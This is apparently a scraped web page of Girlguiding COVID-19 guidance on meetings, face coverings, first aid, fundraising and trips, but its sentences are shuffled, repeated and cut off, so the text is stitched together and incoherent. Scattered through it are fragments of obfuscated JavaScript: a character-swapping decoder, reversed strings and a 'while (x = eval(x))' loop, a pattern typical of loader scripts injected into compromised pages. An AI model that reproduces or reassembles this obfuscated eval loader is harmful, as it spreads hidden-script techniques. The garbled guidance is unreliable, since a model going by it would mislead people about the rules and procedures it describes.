The one exception is to provide a 1-2-1 triage services to assess young peoples needs. You should also talk to. "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + How many volunteers can meet face-to-face if it's an adult only meeting? whilst following guidance on social distancing. Youll also needto check the relevant government guidance on managing property during this time. relevant government guidance on managing property during this time. The only exception is where vulnerable young people require essential face-to-face support. Everyone should read the guidance document below and follow the recommended actions and requirements. Striving for Excellence, Caring for All. Face coverings: You need to wear face coverings for indoor meetings. after blowing your nose, coughing or sneezing. if any hardship arrangements are available locally. For example, in England, young volunteers count within the 15 young people group size limit. Consecutive meetings: Leaders can attend consecutive meetings in the same location, as long as they attend no more than 2 consecutive meetings in a day. This should be avoided if possible and there must be enough qualified first aiders and volunteers with current DBS/AccessNI/PVG. You don't need to have separate toilets for each group or bubble, but you should try to limit the number of people using them at the same time. If youre not sure, please look at ourDonation acceptance policyor contact our friendly national Fundraising team by emailing[emailprotected]or calling 020 7834 6242. Response training and disclosure check renewal dates. If you are still required to pay rent for your meeting space or other expenses, and do not have reserves to cover refunds, parents will appreciate a clear explanation of why you cant refund their subscriptions. If you hire your meeting venue, you should let the property managers know as well. But if your indoor meeting venue has plenty of space for social distancing and is well ventilated, then with a risk assessment you might be able to safely sing together. This can be filled out digitally and emailed back to you. Check out our support for virtual guiding: No face-to-face guiding meetings can happen during lockdown, indoors or outdoors. the public health advice where they live. Click on the image below to view the guidance documents. " r,i=o\\\"\\\"o,=l.xelgnhtl,o=;lhwli(e.xhcraoCedtAl(1/)3=!85{)rt{y+xx=l;=+;" + rescheduled or put towards another project. At indoor meetings face coverings should be worn by Guides, Rangers and volunteers. You must ask them if they are happy for funds to still go towards the Girlguiding group or if they want a refund. And hear from Alice and Sophie whove been guiding online. A leader can only control the unit environment though, we dont expect any volunteer to police how girls get to the unit meeting. the 31 December deadline for completing A Safe Space training? We recommend you do a risk assessment of your event, and if then you decide it shouldnt go ahead you should contact everyone involved and either cancel, postpone or look for an alternative event to hold instead. Doing a DofE programme can give them structure, focus and purpose that are vital for their mental and physical wellbeing. Covid-19 has meant that a lot of participants are plotting routes at home where they don't have a copy of the relevant map. We know that many units will be in a difficult financial position because of coronavirus. If you have any questions that aren't answered in the FAQs above, please contact[emailprotected], Whether youre a parent or Girlguiding volunteer, here are some tips to help you support children during the pandemic. So make sure youcheckour Safeguarding policyandDigital safeguarding policybefore trying any online activity with girls or other volunteers. Our national activity centres have cancelled events until the end of the year 2020 and from the new year taking events on a case by case basis depending on what is allowed. moray; Grange; Caird It is intended to guide the youth sector in opening up services for young people at the right pace and time. Please visit. You can sign your unit up to easyfundraising,clever website that turns everyday online shopping from 4,000 retailers into free donations - and you don't need to have a charity number to use it. All of this will require money to cover the costs - so please do continue to fundraise if you can. Although unit meetings and training sessions are currently being run differently, you can continue to work on your Leadership qualification. We may not be able to meet in person but we know that girls need Girlguiding more than ever in these difficult times take a look at: Face-to-face ID verification can be done on a one-to-one basis, as long as social distance can be maintained. Ask your commissioner about how this is delivered in your areaorcontact your country or region office. Increased frequency. As of. Reusable equipment should be, where possible, replaced with disposable versions. and activities may have additional advice and guidance to safeguard young people and in related areas of sports, culture and the arts, which are included in or make use of facilities for youth activities. 1035804, t: 0116 242 7350 | //< !-- PGL are currently handling all enquiries and prioritising these by planned trip date. I've cancelled my upcoming fundraising event because of coronavirus. On this date, we can continue with indoor and outdoor meetings, and theres the possibility that residential trips will be allowed. It also includes levies to support other levels of Girlguiding, such as region and county, and their annual running costs. Were working out how we can support them and were looking at ways of bringing our Girlguiding family together online during the next few weeks. Yes! While their centres are closed, you'll be given the opportunity to move your booking to later in 2020 or any time in 2021, in line with. If there are non-recoverable costs that parents have already paid for then clearly explain why youre not able to give refunds. Volunteers would have to go above and beyond to stay Covid-secure if we asked them to follow government guidance and National Youth Agency guidance for Providers of Outdoor Facilities for Sport and Recreation under DofE guidelines in their own gardens. When the restrictions are lifted please consider that Girlguiding will always abide byforeign office and government adviceon trips with young people and specific country advice. while (x = eval(x)); a unit meeting. We encourage you to still meet virtually with your unit. The updated 1stResponse training to be released on 1 November includes more detailed guidance on first aid during Covid-19. We know that YouthLink Scotland advise that those aged 11 or under do not need to socially distance and that this would apply to some girls in Guides. Do Girlguiding still need me to raise money for them even though units are not meeting? Good hygiene practice must be followed and anyone handling food must wash their hands with soap and water for at least 20 seconds. Youth sector providers do not need to provide evidence that any of the above criteria has been met for a young person to attend. I have a trip planned and Im worried about insurance. Group size: Outdoor meetings can have a maximum of 15 individuals, girls plus adults. Yes! They mighthave questions about your planningor couldask you to make changesthat will helpyou to reduce risk and keep members safe. Wed recommend that at least one volunteer. If that's not possible and you're unable to progress an investigation, let the relevant team know. Where this is considered essential, a targeted small group of girls who need this support of guiding can meet. Coughs and sneezes should be caught in a tissue or the crook of your elbow. While their centres are closed, you'll be given the opportunity to move your booking to later in 2020 or any time in 2021, in line withtheir terms and conditions. Day trips will be allowed, but overnight stays will not be. or contact our friendly national Fundraising team by emailing, overnment advice on social distancing and reducing social interactions. This decision is based on advice from government and youth services to minimise the risk of transmission for volunteers and young people. Remember, youll need a risk assessment for outdoor and indoor activities and these must be signed off by a commissioner. Please visit ourDofEandQueens Guide awardguidance pages to keep up to date with our latest advice. For BGO and Branches you should check the first aid and community guidance that your country / region has produced. clever website that turns everyday online shopping from 4,000 retailers into free donations - and you don't need to have a charity number to use it. Can I still rent this out to non-Girlguiding bookings? If you're a Girlguiding member overseas, check the local government advice your country. However, it will be possible to provide the following support: Support group sessions (indoors or outdoors) are now permitted for all young people if one or more of the following applies: If one or more of the above apply, then young people may be invited to attend a support group. Different bubbles need to be in specific pre-agreed spaces with a physical barrier (wall/screens/bunting) between them. Can I hold multiple 'bubble' meetings in the same space? Youth sector providers may also provide back to back sessions as long as there is sufficient cleaning of the venue between sessions. esponse training expires while there is no training being delivered? International travel will not be allowed. The National Youth Agency (NYA) as the Professional Statutory and Regulatory Body for youth work in England has,in consultation with Public Health England and the Health and Safety Executive, developed youth sector specific advice and guidance. Remember, you may be able to meet with other units online and should follow our digital safeguarding policy and procedures if you do this. Medical grade PPE is not needed. Therefore you need to book onto a course as soon as possible rather than waiting until the end of your extension period. You are required to have a first aider at all in-person activities. or can claim on your own events insurance, then do pass the refund onto parents. You should only make further payments relating to the trip if you have comprehensive insurance in place. Check what you need to do Services and information. All virtual options require a follow up face-to-face session to cover off practical skills. All Queen's Guide award participants are eligible for extensions, even if they are nearing their 26th birthday, and this extra time does not count as the 12 month break. Most of the timethis will be a Girlguiding volunteer with a valid 1st Response qualification or an approved external first aid qualification. Whats your insurers position on the situation? All attendees must stay in their own groups with the correct adult:child ratios followed. No-one should be under pressure to meet face-to-face if they cannot do so safely - if you need to arrange a virtual ID check via posting documents please contact [emailprotected]. By 31 December 2020 everyone needs to have the correct level of A Safe Space training for their role. Anyother volunteers present on the day can let theirunitsvolunteers and parents know that amemberhas possibly contracted the virus. You should not make any payments or start any fundraising activities without comprehensive insurance in place. Check here to find out how guiding is impacted where you are. meet up - take a look at our summary of the different nations' rulesaboveif you're unsure, or check your local restrictions. The Health and Safety Executive (HSE) guidance around first aid extensions has recently changed and so weve updated our process around extensions for 1st Response.